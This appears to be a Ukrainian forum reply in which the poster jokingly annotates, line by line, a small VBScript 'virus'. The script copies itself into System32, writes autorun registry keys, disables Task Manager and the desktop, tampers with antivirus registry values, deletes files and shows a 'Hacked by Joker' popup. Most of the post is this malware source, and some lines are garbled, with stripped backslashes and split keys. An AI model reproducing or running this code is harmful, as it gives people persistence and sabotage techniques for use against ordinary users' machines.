:laugh: В ісході не дуже, але щось розібрав...
Set Shell = CreateObject("Wscript.Shell")-бла-бла
Set Application = CreateObject("Shell.Application")-бла-бла
Set FileSystemObject = CreateObject("scripting.filesystemobject")-бла-бла
Set File = FileSystemObject.GetFile(WScript.ScriptFullName) -бла-бла
On Error Resume Next-бла-бла
File.Copy ("c:windowsSystem32virus.vbs") -робимо копію
Shell.RegWrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunvirus", "C:WINDOWSSYSTEM32virus.vbs" -щось з реєстром типу авторан %)
Shell.RegWrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesvirus", "C:WINDOWSSYSTEM32virus.vbs" -щось з реєстром типу авторан %)
Shell.RegWrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOncevirus", "C:WINDOWSSYSTEM32virus.vbs" -щось з реєстром типу авторан %)
Shell.popup "ÂÍÈÌÀÍÈÅ!Âàøåìó êîìïó æîïà!Hacked by Joker",0, "heading", 0+16
FileSystemObject.deletefolder"C:example",True -а навіщо видаляти?
FileSystemObject.deletefile"C:example.txt",True - теж саме питання
Shell.RegWrite & quot;HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisabl - еее.. хз що)
etaskmgr", 1, "REG_DWORD"
Shell.RegWrite "HKEY_CURRENT_USERSoftwaremIRCLicense", "blabla" О_о
Shell.RegWrite "HKEY_LOCAL_MACHINESOFTWAREESETESET SecurityCurrentVersionInfoEditionName", "Hacked by Joker" ім'я
Shell.RegDelete "HKEY_CURRENT_USERexample"
Shell.RegWrite & quot;HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDe
sktop", 1, "REG_DWORD"
Application.MinimizeAll в трей. щоб не світило.
InternerExplorer.Visible = True запускаємо ІЕ
InternerExplorer.Navigate "http://wzor.brovary.net/" і направляємо на взор. типу "Смотрі порно, чілавєг"
Щось таке?
особливо сподобався пункт InternerExplorer.Navigate "http://wzor.brovary.net/"